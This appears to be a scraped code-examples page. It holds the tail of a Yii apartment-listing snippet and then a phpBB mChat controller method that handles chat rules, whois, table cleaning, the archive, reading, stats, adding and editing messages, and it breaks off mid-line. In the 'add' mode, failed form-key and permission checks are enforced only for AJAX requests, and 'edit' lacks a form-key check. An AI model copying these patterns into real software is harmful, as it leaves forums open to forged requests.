if ($model->num_of_rooms) {
    echo ',&nbsp;';
    echo Yii::t('module_apartments', '{n} bedroom|{n} bedrooms|{n} bedrooms', array($model->num_of_rooms));
}
if (issetModule('location') && param('useLocation', 1)) {
    if ($model->locCountry || $model->locRegion || $model->locCity) {
        echo "<br />";
    }
    if ($model->locCountry) {
        echo $model->locCountry->getStrByLang('name');
    }
    if ($model->locRegion) {
        if ($model->locCountry) {
            echo ',&nbsp;';
        }
Example #27
0
    /**
     * Method to render the page data
     *
     * @var bool		Bool if the rendering is only for index
     * @return array	Data for page rendering
     */
    public function render_data_for_page($only_for_index = false)
    {
        $include_on_index = $only_for_index === true;
        // Add lang file
        $this->user->add_lang('posting');
        //chat enabled
        if (!$this->config['mchat_enable']) {
            trigger_error($this->user->lang['MCHAT_ENABLE'], E_USER_NOTICE);
        }
        //	avatars
        if (!function_exists('get_user_avatar')) {
            include $this->phpbb_root_path . 'includes/functions_display.' . $this->phpEx;
        }
        if (($this->config_mchat = $this->cache->get('_mchat_config')) === false) {
            $this->functions_mchat->mchat_cache();
        }
        $this->config_mchat = $this->cache->get('_mchat_config');
        // Access rights
        $mchat_allow_bbcode = $this->config['allow_bbcode'] && $this->auth->acl_get('u_mchat_bbcode') ? true : false;
        $mchat_smilies = $this->config['allow_smilies'] && $this->auth->acl_get('u_mchat_smilies') ? true : false;
        $mchat_urls = $this->config['allow_post_links'] && $this->auth->acl_get('u_mchat_urls') ? true : false;
        $mchat_ip = $this->auth->acl_get('u_mchat_ip') ? true : false;
        $mchat_pm = $this->auth->acl_get('u_mchat_pm') ? true : false;
        $mchat_like = $this->auth->acl_get('u_mchat_like') ? true : false;
        $mchat_quote = $this->auth->acl_get('u_mchat_quote') ? true : false;
        $mchat_add_mess = $this->auth->acl_get('u_mchat_use') ? true : false;
        $mchat_view = $this->auth->acl_get('u_mchat_view') ? true : false;
        $mchat_no_flood = $this->auth->acl_get('u_mchat_flood_ignore') ? true : false;
        $mchat_read_archive = $this->auth->acl_get('u_mchat_archive') ? true : false;
        $mchat_founder = $this->user->data['user_type'] == USER_FOUNDER ? true : false;
        $mchat_session_time = !empty($this->config_mchat['timeout']) ? $this->config_mchat['timeout'] : (!empty($this->config['load_online_time']) ? $this->config['load_online_time'] * 60 : $this->config['session_length']);
        $mchat_rules = !empty($this->config_mchat['rules']) || isset($this->user->lang[strtoupper('mchat_rules')]) ? true : false;
        $mchat_avatars = !empty($this->config_mchat['avatars']) && $this->user->optionget('viewavatars') && $this->user->data['user_mchat_avatars'] ? true : false;
        // needed variables
        // Request options.
        $mchat_mode = $this->request->variable('mode', '');
        $mchat_read_mode = $mchat_archive_mode = $mchat_custom_page = $mchat_no_message = false;
        // set redirect if on index or custom page
        $on_page = $include_on_index ? 'index' : 'mchat';
        // grab fools..uhmmm, foes the user has
        $foes_array = array();
        $sql = 'SELECT * FROM ' . ZEBRA_TABLE . '
			WHERE user_id = ' . $this->user->data['user_id'] . '	AND foe = 1';
        $result = $this->db->sql_query($sql);
        while ($row = $this->db->sql_fetchrow($result)) {
            $foes_array[] = $row['zebra_id'];
        }
        $this->db->sql_freeresult($result);
        // Request mode...
        switch ($mchat_mode) {
            // rules popup..
            case 'rules':
                // If the rules are defined in the language file use them, else just use the entry in the database
                if ($mchat_rules || isset($this->user->lang[strtoupper('mchat_rules')])) {
                    if (isset($this->user->lang[strtoupper('mchat_rules')])) {
                        $this->template->assign_var('MCHAT_RULES', $this->user->lang[strtoupper('mchat_rules')]);
                    } else {
                        $mchat_rules = $this->config_mchat['rules'];
                        $mchat_rules = explode("\n", $mchat_rules);
                        foreach ($mchat_rules as $mchat_rule) {
                            $mchat_rule = utf8_htmlspecialchars($mchat_rule);
                            $this->template->assign_block_vars('rule', array('MCHAT_RULE' => $mchat_rule));
                        }
                    }
                    // Output the page
                    // Return for: \$this->helper->render(filename, lang_title);
                    return array('filename' => 'mchat_rules.html', 'lang_title' => $this->user->lang['MCHAT_HELP']);
                } else {
                    // Show no rules
                    trigger_error('MCHAT_NO_RULES', E_USER_NOTICE);
                }
                break;
                // whois function..
            // whois function..
            case 'whois':
                // Must have auths
                if ($mchat_mode == 'whois' && $mchat_ip) {
                    // function already exists..
                    if (!function_exists('user_ipwhois')) {
                        include $this->phpbb_root_path . 'includes/functions_user.' . $this->phpEx;
                    }
                    $this->user_ip = $this->request->variable('ip', '');
                    $this->template->assign_var('WHOIS', user_ipwhois($this->user_ip));
                    // Output the page
                    // Return for: \$this->helper->render(filename, lang_title);
                    return array('filename' => 'viewonline_whois.html', 'lang_title' => $this->user->lang['WHO_IS_ONLINE']);
                } else {
                    // Show not authorized
                    trigger_error('NO_AUTH_OPERATION', E_USER_NOTICE);
                }
                break;
                // Clean function...
            // Clean function...
            case 'clean':
                // User logged in?
                if (!$this->user->data['is_registered'] || !$mchat_founder) {
                    if (!$this->user->data['is_registered']) {
                        // Login box...
                        login_box('', $this->user->lang['LOGIN']);
                    } else {
                        if (!$mchat_founder) {
                            // Show not authorized
                            trigger_error('NO_AUTH_OPERATION', E_USER_NOTICE);
                        }
                    }
                }
                $mchat_redirect = $this->request->variable('redirect', '');
                $mchat_redirect = $mchat_redirect == 'index' ? append_sid("{$this->phpbb_root_path}index.{$this->phpEx}") : $this->helper->route('dmzx_mchat_controller', array('#mChat'));
                if (confirm_box(true)) {
                    // Run cleaner
                    $sql = 'TRUNCATE TABLE ' . $this->mchat_table;
                    $this->db->sql_query($sql);
                    meta_refresh(3, $mchat_redirect);
                    trigger_error($this->user->lang['MCHAT_CLEANED'] . '<br /><br />' . sprintf($this->user->lang['RETURN_PAGE'], '<a href="' . $mchat_redirect . '">', '</a>'));
                } else {
                    // Display confirm box
                    confirm_box(false, $this->user->lang['MCHAT_DELALLMESS']);
                }
                $this->phpbb_log->add('admin', $this->user->data['user_id'], $this->user->ip, 'LOG_MCHAT_TABLE_PRUNED');
                redirect($mchat_redirect);
                break;
                // Archive function...
            // Archive function...
            case 'archive':
                if (!$mchat_read_archive || !$mchat_view) {
                    // redirect to correct page
                    $mchat_redirect = append_sid("{$this->phpbb_root_path}index.{$this->phpEx}");
                    // Redirect to previous page
                    meta_refresh(3, $mchat_redirect);
                    trigger_error($this->user->lang['MCHAT_NOACCESS_ARCHIVE'] . '<br /><br />' . sprintf($this->user->lang['RETURN_PAGE'], '<a href="' . $mchat_redirect . '">', '</a>'));
                }
                if ($this->config['mchat_enable'] && $mchat_read_archive && $mchat_view) {
                    // how many chats do we have?
                    $sql = 'SELECT COUNT(message_id) AS messages FROM ' . $this->mchat_table;
                    $result = $this->db->sql_query($sql);
                    $mchat_total_messages = $this->db->sql_fetchfield('messages');
                    $this->db->sql_freeresult($result);
                    // prune the chats if necessary and amount in ACP not empty
                    if ($this->config_mchat['prune_enable'] && ($mchat_total_messages > $this->config_mchat['prune_num'] && $this->config_mchat['prune_num'] > 0)) {
                        $this->functions_mchat->mchat_prune((int) $this->config_mchat['prune_num']);
                    }
                    // Reguest...
                    $mchat_archive_start = $this->request->variable('start', 0);
                    $sql_where = $this->user->data['user_mchat_topics'] ? '' : 'WHERE m.forum_id = 0';
                    // Message row
                    $sql = 'SELECT m.*, u.username, u.user_colour, u.user_avatar, u.user_avatar_type, u.user_avatar_width, u.user_avatar_height, u.user_allow_pm
						FROM ' . $this->mchat_table . ' m
							LEFT JOIN ' . USERS_TABLE . ' u ON m.user_id = u.user_id
						' . $sql_where . '
						ORDER BY m.message_id DESC';
                    $result = $this->db->sql_query_limit($sql, (int) $this->config_mchat['archive_limit'], $mchat_archive_start);
                    $rows = $this->db->sql_fetchrowset($result);
                    $this->db->sql_freeresult($result);
                    foreach ($rows as $row) {
                        // auth check
                        if ($row['forum_id'] != 0 && !$this->auth->acl_get('f_read', $row['forum_id'])) {
                            continue;
                        }
                        // edit, delete and permission auths
                        $mchat_ban = $this->auth->acl_get('a_authusers') && $this->user->data['user_id'] != $row['user_id'] ? true : false;
                        $mchat_edit = $this->auth->acl_get('u_mchat_edit') && ($this->auth->acl_get('m_') || $this->user->data['user_id'] == $row['user_id']) ? true : false;
                        $mchat_del = $this->auth->acl_get('u_mchat_delete') && ($this->auth->acl_get('m_') || $this->user->data['user_id'] == $row['user_id']) ? true : false;
                        $mchat_avatar = $row['user_avatar'] ? get_user_avatar($row['user_avatar'], $row['user_avatar_type'], $row['user_avatar_width'] > $row['user_avatar_height'] ? 40 : 40 / $row['user_avatar_height'] * $row['user_avatar_width'], $row['user_avatar_height'] > $row['user_avatar_width'] ? 40 : 40 / $row['user_avatar_width'] * $row['user_avatar_height']) : '';
                        $message_edit = $row['message'];
                        decode_message($message_edit, $row['bbcode_uid']);
                        $message_edit = str_replace('"', '&quot;', $message_edit);
                        // Edit Fix ;)
                        if (sizeof($foes_array)) {
                            if (in_array($row['user_id'], $foes_array)) {
                                $row['message'] = sprintf($this->user->lang['MCHAT_FOE'], get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']));
                            }
                        }
                        $row['username'] = mb_ereg_replace("'", "&#146;", $row['username']);
                        $this->template->assign_block_vars('mchatrow', array('MCHAT_ALLOW_BAN' => $mchat_ban, 'MCHAT_ALLOW_EDIT' => $mchat_edit, 'MCHAT_ALLOW_DEL' => $mchat_del, 'MCHAT_USER_AVATAR' => $mchat_avatar, 'U_VIEWPROFILE' => $row['user_id'] != ANONYMOUS ? append_sid("{$this->phpbb_root_path}memberlist.{$this->phpEx}", 'mode=viewprofile&amp;u=' . $row['user_id']) : '', 'U_USER_IDS' => $row['user_id'] != ANONYMOUS && $this->user->data['user_id'] != $row['user_id'] ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'BOT_USER_ID' => $row['user_id'] != '1', 'U_USER_ID' => $row['user_id'] != ANONYMOUS && $this->config['allow_privmsg'] && $this->auth->acl_get('u_sendpm') && $this->user->data['user_id'] != $row['user_id'] && $row['user_id'] != '1' && ($row['user_allow_pm'] || $this->auth->acl_gets('a_', 'm_') || $this->auth->acl_getf_global('m_')) ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'MCHAT_MESSAGE_EDIT' => $message_edit, 'MCHAT_MESSAGE_ID' => $row['message_id'], 'MCHAT_USERNAME_FULL' => get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME' => get_username_string('username', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME_COLOR' => get_username_string('colour', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USER_IP' => $row['user_ip'], 'MCHAT_U_WHOIS' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'whois', 'ip' => $row['user_ip'])), 'MCHAT_U_BAN' => append_sid("{$this->phpbb_root_path}adm/index.{$this->phpEx}", 'i=permissions&amp;mode=setting_user_global&amp;user_id[0]=' . $row['user_id'], true, $this->user->session_id), 'MCHAT_MESSAGE' => generate_text_for_display($row['message'], $row['bbcode_uid'], $row['bbcode_bitfield'], $row['bbcode_options']), 'MCHAT_TIME' => $this->user->format_date($row['message_time'], $this->config_mchat['date']), 'MCHAT_CLASS' => $row['message_id'] % 2 ? 1 : 2));
                    }
                    // Write no message
                    if (empty($rows)) {
                        $mchat_no_message = true;
                    }
                }
                // Run query again to get the total message rows...
                $sql = 'SELECT COUNT(message_id) AS mess_id FROM ' . $this->mchat_table;
                $result = $this->db->sql_query($sql);
                $mchat_total_message = $this->db->sql_fetchfield('mess_id');
                $this->db->sql_freeresult($result);
                // Page list function...
                $pagination_url = $this->helper->route('dmzx_mchat_controller', array('mode' => 'archive'));
                $start = $this->request->variable('start', 0);
                $this->pagination->generate_template_pagination($pagination_url, 'pagination', 'start', $mchat_total_message, (int) $this->config_mchat['archive_limit'], $mchat_archive_start);
                $this->template->assign_vars(array('MCHAT_TOTAL_MESSAGES' => sprintf($this->user->lang['MCHAT_TOTALMESSAGES'], $mchat_total_message)));
                //add to navlinks
                $this->template->assign_block_vars('navlinks', array('FORUM_NAME' => $this->user->lang['MCHAT_ARCHIVE_PAGE'], 'U_VIEW_FORUM' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'archive'))));
                // If archive mode request set true
                $mchat_archive_mode = true;
                $old_mode = 'archive';
                break;
                // Read function...
            // Read function...
            case 'read':
                // If mChat disabled or user can't view the chat
                if (!$this->config['mchat_enable'] || !$mchat_view) {
                    // Forbidden (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                }
                // if we're reading on the custom page, then we are chatting
                if ($mchat_custom_page) {
                    // insert user into the mChat sessions table
                    $this->functions_mchat->mchat_sessions($mchat_session_time, true);
                }
                // Request
                $mchat_message_last_id = $this->request->variable('message_last_id', 0);
                $sql_and = $this->user->data['user_mchat_topics'] ? '' : 'AND m.forum_id = 0';
                $sql = 'SELECT m.*, u.username, u.user_colour, u.user_avatar, u.user_avatar_type, u.user_avatar_width, u.user_avatar_height, u.user_allow_pm
					FROM ' . $this->mchat_table . ' m, ' . USERS_TABLE . ' u
					WHERE m.user_id = u.user_id
					AND m.message_id > ' . (int) $mchat_message_last_id . '
					' . $sql_and . '
					ORDER BY m.message_id DESC';
                $result = $this->db->sql_query_limit($sql, (int) $this->config_mchat['message_limit']);
                $rows = $this->db->sql_fetchrowset($result);
                $this->db->sql_freeresult($result);
                // Reverse the array wanting messages appear in reverse
                if ($this->config['mchat_message_top']) {
                    $rows = array_reverse($rows);
                }
                foreach ($rows as $row) {
                    // auth check
                    if ($row['forum_id'] != 0 && !$this->auth->acl_get('f_read', $row['forum_id'])) {
                        continue;
                    }
                    // edit auths
                    if ($this->user->data['user_id'] == ANONYMOUS && $this->user->data['user_id'] == $row['user_id']) {
                        $chat_auths = $this->user->data['session_ip'] == $row['user_ip'] ? true : false;
                    } else {
                        $chat_auths = $this->user->data['user_id'] == $row['user_id'] ? true : false;
                    }
                    // edit, delete and permission auths
                    $mchat_ban = $this->auth->acl_get('a_authusers') && $this->user->data['user_id'] != $row['user_id'] ? true : false;
                    $mchat_edit = $this->auth->acl_get('u_mchat_edit') && ($this->auth->acl_get('m_') || $chat_auths) ? true : false;
                    $mchat_del = $this->auth->acl_get('u_mchat_delete') && ($this->auth->acl_get('m_') || $chat_auths) ? true : false;
                    $mchat_avatar = $row['user_avatar'] ? get_user_avatar($row['user_avatar'], $row['user_avatar_type'], $row['user_avatar_width'] > $row['user_avatar_height'] ? 40 : 40 / $row['user_avatar_height'] * $row['user_avatar_width'], $row['user_avatar_height'] > $row['user_avatar_width'] ? 40 : 40 / $row['user_avatar_width'] * $row['user_avatar_height']) : '';
                    $message_edit = $row['message'];
                    decode_message($message_edit, $row['bbcode_uid']);
                    $message_edit = str_replace('"', '&quot;', $message_edit);
                    $message_edit = mb_ereg_replace("'", "&#146;", $message_edit);
                    // Edit Fix ;)
                    if (sizeof($foes_array)) {
                        if (in_array($row['user_id'], $foes_array)) {
                            $row['message'] = sprintf($this->user->lang['MCHAT_FOE'], get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']));
                        }
                    }
                    $row['username'] = mb_ereg_replace("'", "&#146;", $row['username']);
                    $this->template->assign_block_vars('mchatrow', array('MCHAT_ALLOW_BAN' => $mchat_ban, 'MCHAT_ALLOW_EDIT' => $mchat_edit, 'MCHAT_ALLOW_DEL' => $mchat_del, 'MCHAT_USER_AVATAR' => $mchat_avatar, 'U_VIEWPROFILE' => $row['user_id'] != ANONYMOUS ? append_sid("{$this->phpbb_root_path}memberlist.{$this->phpEx}", 'mode=viewprofile&amp;u=' . $row['user_id']) : '', 'U_USER_IDS' => $row['user_id'] != ANONYMOUS && $this->user->data['user_id'] != $row['user_id'] ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'BOT_USER_ID' => $row['user_id'] != '1', 'U_USER_ID' => $row['user_id'] != ANONYMOUS && $this->config['allow_privmsg'] && $this->auth->acl_get('u_sendpm') && $this->user->data['user_id'] != $row['user_id'] && $row['user_id'] != '1' && ($row['user_allow_pm'] || $this->auth->acl_gets('a_', 'm_') || $this->auth->acl_getf_global('m_')) ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'MCHAT_MESSAGE_EDIT' => $message_edit, 'MCHAT_MESSAGE_ID' => $row['message_id'], 'MCHAT_USERNAME_FULL' => get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME' => get_username_string('username', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME_COLOR' => get_username_string('colour', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USER_IP' => $row['user_ip'], 'MCHAT_U_WHOIS' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'whois', 'ip' => $row['user_ip'])), 'MCHAT_U_BAN' => append_sid("{$this->phpbb_root_path}adm/index.{$this->phpEx}", 'i=permissions&amp;mode=setting_user_global&amp;user_id[0]=' . $row['user_id'], true, $this->user->session_id), 'MCHAT_MESSAGE' => generate_text_for_display($row['message'], $row['bbcode_uid'], $row['bbcode_bitfield'], $row['bbcode_options']), 'MCHAT_TIME' => $this->user->format_date($row['message_time'], $this->config_mchat['date']), 'MCHAT_CLASS' => $row['message_id'] % 2 ? 1 : 2));
                }
                // Write no message
                if (empty($rows)) {
                    $mchat_no_message = true;
                }
                // If read mode request set true
                $mchat_read_mode = true;
                break;
                // Stats function...
            // Stats function...
            case 'stats':
                // If mChat disabled or user can't view the chat
                if (!$this->config['mchat_enable'] || !$mchat_view || !$this->config_mchat['whois']) {
                    // Forbidden (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                }
                $mchat_stats = $this->functions_mchat->mchat_users($mchat_session_time);
                if (!empty($mchat_stats['online_userlist'])) {
                    $message = '<div class="mChatStats" id="mChatStats"><a href="#" onclick="mChat.toggle(\'UserList\'); return false;">' . $mchat_stats['mchat_users_count'] . '</a>&nbsp;' . $mchat_stats['refresh_message'] . '<br /><span id="mChatUserList" style="display: none; float: left;">' . $mchat_stats['online_userlist'] . '</span></div>';
                } else {
                    $message = '<div class="mChatStats" id="Div1">' . $this->user->lang['MCHAT_NO_CHATTERS'] . '&nbsp;(' . $mchat_stats['refresh_message'] . ')</div>';
                }
                if ($this->request->is_ajax()) {
                    // Return for: \Symfony\Component\HttpFoundation\JsonResponse
                    return array('json' => true, 'message' => $message);
                } else {
                    throw new \phpbb\exception\http_exception(501, 'MCHAT_ERROR_NOT_IMPLEMENTED');
                }
                break;
                // Add function...
            // Add function...
            case 'add':
                // If mChat disabled
                if (!$this->config['mchat_enable'] || !$mchat_add_mess || !check_form_key('mchat_posting', -1)) {
                    // Forbidden (for jQ AJAX request)
                    if ($this->request->is_ajax()) {
                        // FOR DEBUG
                        throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                    }
                }
                // Reguest...
                $message = utf8_ucfirst(utf8_normalize_nfc($this->request->variable('message', '', true)));
                // must have something other than bbcode in the message
                if (empty($mchatregex)) {
                    //let's strip all the bbcode
                    $mchatregex = '#\\[/?[^\\[\\]]+\\]#mi';
                }
                $message_chars = preg_replace($mchatregex, '', $message);
                $message_chars = utf8_strlen(trim($message_chars)) > 0 ? true : false;
                if (!$message || !$message_chars) {
                    // Not Implemented (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(501, 'MCHAT_ERROR_NOT_IMPLEMENTED');
                }
                // Flood control
                if (!$mchat_no_flood && $this->config_mchat['flood_time']) {
                    $mchat_flood_current_time = time();
                    $sql = 'SELECT message_time FROM ' . $this->mchat_table . '
						WHERE user_id = ' . (int) $this->user->data['user_id'] . '
						ORDER BY message_time DESC';
                    $result = $this->db->sql_query_limit($sql, 1);
                    $row = $this->db->sql_fetchrow($result);
                    $this->db->sql_freeresult($result);
                    if ($row['message_time'] > 0 && $mchat_flood_current_time - $row['message_time'] < (int) $this->config_mchat['flood_time']) {
                        // Locked (for jQ AJAX request)
                        throw new \phpbb\exception\http_exception(400, 'MCHAT_BAD_REQUEST');
                    }
                }
                // insert user into the mChat sessions table
                $this->functions_mchat->mchat_sessions($mchat_session_time, true);
                // we override the $this->config['min_post_chars'] entry?
                if ($this->config_mchat['override_min_post_chars']) {
                    $old_cfg['min_post_chars'] = $this->config['min_post_chars'];
                    $this->config['min_post_chars'] = 0;
                }
                //we do the same for the max number of smilies?
                if ($this->config_mchat['override_smilie_limit']) {
                    $old_cfg['max_post_smilies'] = $this->config['max_post_smilies'];
                    $this->config['max_post_smilies'] = 0;
                }
                // Add function part code from http://wiki.phpbb.com/Parsing_text
                $uid = $bitfield = $options = '';
                // will be modified by generate_text_for_storage
                generate_text_for_storage($message, $uid, $bitfield, $options, $mchat_allow_bbcode, $mchat_urls, $mchat_smilies);
                // Not allowed bbcodes
                if (!$mchat_allow_bbcode || $this->config_mchat['bbcode_disallowed']) {
                    if (!$mchat_allow_bbcode) {
                        $bbcode_remove = '#\\[/?[^\\[\\]]+\\]#Usi';
                        $message = preg_replace($bbcode_remove, '', $message);
                    } else {
                        if ($this->config_mchat['bbcode_disallowed']) {
                            if (empty($bbcode_replace)) {
                                $bbcode_replace = array('#\\[(' . $this->config_mchat['bbcode_disallowed'] . ')[^\\[\\]]+\\]#Usi', '#\\[/(' . $this->config_mchat['bbcode_disallowed'] . ')[^\\[\\]]+\\]#Usi');
                            }
                            $message = preg_replace($bbcode_replace, '', $message);
                        }
                    }
                }
                $sql_ary = array('forum_id' => 0, 'post_id' => 0, 'user_id' => $this->user->data['user_id'], 'user_ip' => $this->user->data['session_ip'], 'message' => str_replace('\'', '&rsquo;', $message), 'bbcode_bitfield' => $bitfield, 'bbcode_uid' => $uid, 'bbcode_options' => $options, 'message_time' => time());
                $sql = 'INSERT INTO ' . $this->mchat_table . ' ' . $this->db->sql_build_array('INSERT', $sql_ary);
                $this->db->sql_query($sql);
                // reset the config settings
                if (isset($old_cfg['min_post_chars'])) {
                    $this->config['min_post_chars'] = $old_cfg['min_post_chars'];
                    unset($old_cfg['min_post_chars']);
                }
                if (isset($old_cfg['max_post_smilies'])) {
                    $this->config['max_post_smilies'] = $old_cfg['max_post_smilies'];
                    unset($old_cfg['max_post_smilies']);
                }
                // Stop run code!
                if ($this->request->is_ajax()) {
                    // Return for: \Symfony\Component\HttpFoundation\JsonResponse
                    return array('json' => true, 'success' => true);
                } else {
                    exit_handler();
                }
                break;
                // Edit function...
            // Edit function...
            case 'edit':
                $message_id = $this->request->variable('message_id', 0);
                // If mChat disabled and not edit
                if (!$this->config['mchat_enable'] || !$message_id) {
                    // Forbidden (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                }
                // check for the correct user
                $sql = 'SELECT *
					FROM ' . $this->mchat_table . '
					WHERE message_id = ' . (int) $message_id;
                $result = $this->db->sql_query($sql);
                $row = $this->db->sql_fetchrow($result);
                $this->db->sql_freeresult($result);
                // edit and delete auths
                $mchat_edit = $this->auth->acl_get('u_mchat_edit') && ($this->auth->acl_get('m_') || $this->user->data['user_id'] == $row['user_id']) ? true : false;
                $mchat_del = $this->auth->acl_get('u_mchat_delete') && ($this->auth->acl_get('m_') || $this->user->data['user_id'] == $row['user_id']) ? true : false;
                // If mChat disabled and not edit
                if (!$mchat_edit) {
                    // Forbidden (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(403, 'MCHAT_ERROR_FORBIDDEN');
                }
                // Reguest...
                $message = $this->request->variable('message', '', true);
                // must have something other than bbcode in the message
                if (empty($mchatregex)) {
                    //let's strip all the bbcode
                    $mchatregex = '#\\[/?[^\\[\\]]+\\]#mi';
                }
                $message_chars = preg_replace($mchatregex, '', $message);
                $message_chars = utf8_strlen(trim($message_chars)) > 0 ? true : false;
                if (!$message || !$message_chars) {
                    // Not Implemented (for jQ AJAX request)
                    throw new \phpbb\exception\http_exception(501, 'MCHAT_ERROR_NOT_IMPLEMENTED');
                }
                // Message limit
                $message = $this->config_mchat['max_message_lngth'] != 0 && utf8_strlen($message) >= $this->config_mchat['max_message_lngth'] + 3 ? utf8_substr($message, 0, $this->config_mchat['max_message_lngth']) . '...' : $message;
                // we override the $this->config['min_post_chars'] entry?
                if ($this->config_mchat['override_min_post_chars']) {
                    $old_cfg['min_post_chars'] = $this->config['min_post_chars'];
                    $this->config['min_post_chars'] = 0;
                }
                //we do the same for the max number of smilies?
                if ($this->config_mchat['override_smilie_limit']) {
                    $old_cfg['max_post_smilies'] = $this->config['max_post_smilies'];
                    $this->config['max_post_smilies'] = 0;
                }
                // Edit function part code from http://wiki.phpbb.com/Parsing_text
                $uid = $bitfield = $options = '';
                // will be modified by generate_text_for_storage
                generate_text_for_storage($message, $uid, $bitfield, $options, $mchat_allow_bbcode, $mchat_urls, $mchat_smilies);
                // Not allowed bbcodes
                if (!$mchat_allow_bbcode || $this->config_mchat['bbcode_disallowed']) {
                    if (!$mchat_allow_bbcode) {
                        $bbcode_remove = '#\\[/?[^\\[\\]]+\\]#Usi';
                        $message = preg_replace($bbcode_remove, '', $message);
                    } else {
                        if ($this->config_mchat['bbcode_disallowed']) {
                            if (empty($bbcode_replace)) {
                                $bbcode_replace = array('#\\[(' . $this->config_mchat['bbcode_disallowed'] . ')[^\\[\\]]+\\]#Usi', '#\\[/(' . $this->config_mchat['bbcode_disallowed'] . ')[^\\[\\]]+\\]#Usi');
                            }
                            $message = preg_replace($bbcode_replace, '', $message);
                        }
                    }
                }
                $sql_ary = array('message' => str_replace('\'', '&rsquo;', $message), 'bbcode_bitfield' => $bitfield, 'bbcode_uid' => $uid, 'bbcode_options' => $options);
                $sql = 'UPDATE ' . $this->mchat_table . ' SET ' . $this->db->sql_build_array('UPDATE', $sql_ary) . '
					WHERE message_id = ' . (int) $message_id;
                $this->db->sql_query($sql);
                // Message edited...now read it
                $sql = 'SELECT m.*, u.username, u.user_colour, u.user_avatar, u.user_avatar_type, u.user_avatar_width, u.user_avatar_height, u.user_allow_pm
					FROM ' . $this->mchat_table . ' m, ' . USERS_TABLE . ' u
					WHERE m.user_id = u.user_id
						AND m.message_id = ' . (int) $message_id . '
					ORDER BY m.message_id DESC';
                $result = $this->db->sql_query($sql);
                $row = $this->db->sql_fetchrow($result);
                $this->db->sql_freeresult($result);
                $message_edit = $row['message'];
                decode_message($message_edit, $row['bbcode_uid']);
                $message_edit = str_replace('"', '&quot;', $message_edit);
                // Edit Fix ;)
                $message_edit = mb_ereg_replace("'", "&#146;", $message_edit);
                // Edit Fix ;)
                $mchat_ban = $this->auth->acl_get('a_authusers') && $this->user->data['user_id'] != $row['user_id'] ? true : false;
                $mchat_avatar = $row['user_avatar'] ? get_user_avatar($row['user_avatar'], $row['user_avatar_type'], $row['user_avatar_width'] > $row['user_avatar_height'] ? 40 : 40 / $row['user_avatar_height'] * $row['user_avatar_width'], $row['user_avatar_height'] > $row['user_avatar_width'] ? 40 : 40 / $row['user_avatar_width'] * $row['user_avatar_height']) : '';
                $this->template->assign_block_vars('mchatrow', array('MCHAT_ALLOW_BAN' => $mchat_ban, 'MCHAT_ALLOW_EDIT' => $mchat_edit, 'MCHAT_ALLOW_DEL' => $mchat_del, 'MCHAT_MESSAGE_EDIT' => $message_edit, 'MCHAT_USER_AVATAR' => $mchat_avatar, 'U_VIEWPROFILE' => $row['user_id'] != ANONYMOUS ? append_sid("{$this->phpbb_root_path}memberlist.{$this->phpEx}", 'mode=viewprofile&amp;u=' . $row['user_id']) : '', 'U_USER_IDS' => $row['user_id'] != ANONYMOUS && $this->user->data['user_id'] != $row['user_id'] ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'BOT_USER_ID' => $row['user_id'] != '1', 'U_USER_ID' => $row['user_id'] != ANONYMOUS && $this->config['allow_privmsg'] && $this->auth->acl_get('u_sendpm') && $this->user->data['user_id'] != $row['user_id'] && $row['user_id'] != '1' && ($row['user_allow_pm'] || $this->auth->acl_gets('a_', 'm_') || $this->auth->acl_getf_global('m_')) ? append_sid("{$this->phpbb_root_path}ucp.{$this->phpEx}", 'i=pm&amp;mode=compose&amp;u=' . $row['user_id']) : '', 'MCHAT_MESSAGE_ID' => $row['message_id'], 'MCHAT_USERNAME_FULL' => get_username_string('full', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME' => get_username_string('username', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USERNAME_COLOR' => get_username_string('colour', $row['user_id'], $row['username'], $row['user_colour'], $this->user->lang['GUEST']), 'MCHAT_USER_IP' => $row['user_ip'], 'MCHAT_U_WHOIS' => $this->helper->route('dmzx_mchat_controller', array('mode' => 'whois', 'ip' => $row['user_ip'])), 'MCHAT_U_BAN' => append_sid("{$this->phpbb_root_path}adm/index.{$this->phpEx}", 'i=permissions&amp;mode=setting_user_global&amp;user_id[0]=' . $row['user_id'], true, $this->user->session_id), 'MCHAT_MESSAGE' => censor_text(generate_text_for_display($row['message'], $row['bbcode_uid'], $row['bbcode_bitfield'], $row['bbcode_options'])), 'MCHAT_TIME' => $this->user->format_date($row['message_time'], $this->config_mchat['date']), 'MCHAT_CLASS' => $row['message_id'] % 2 ? 1 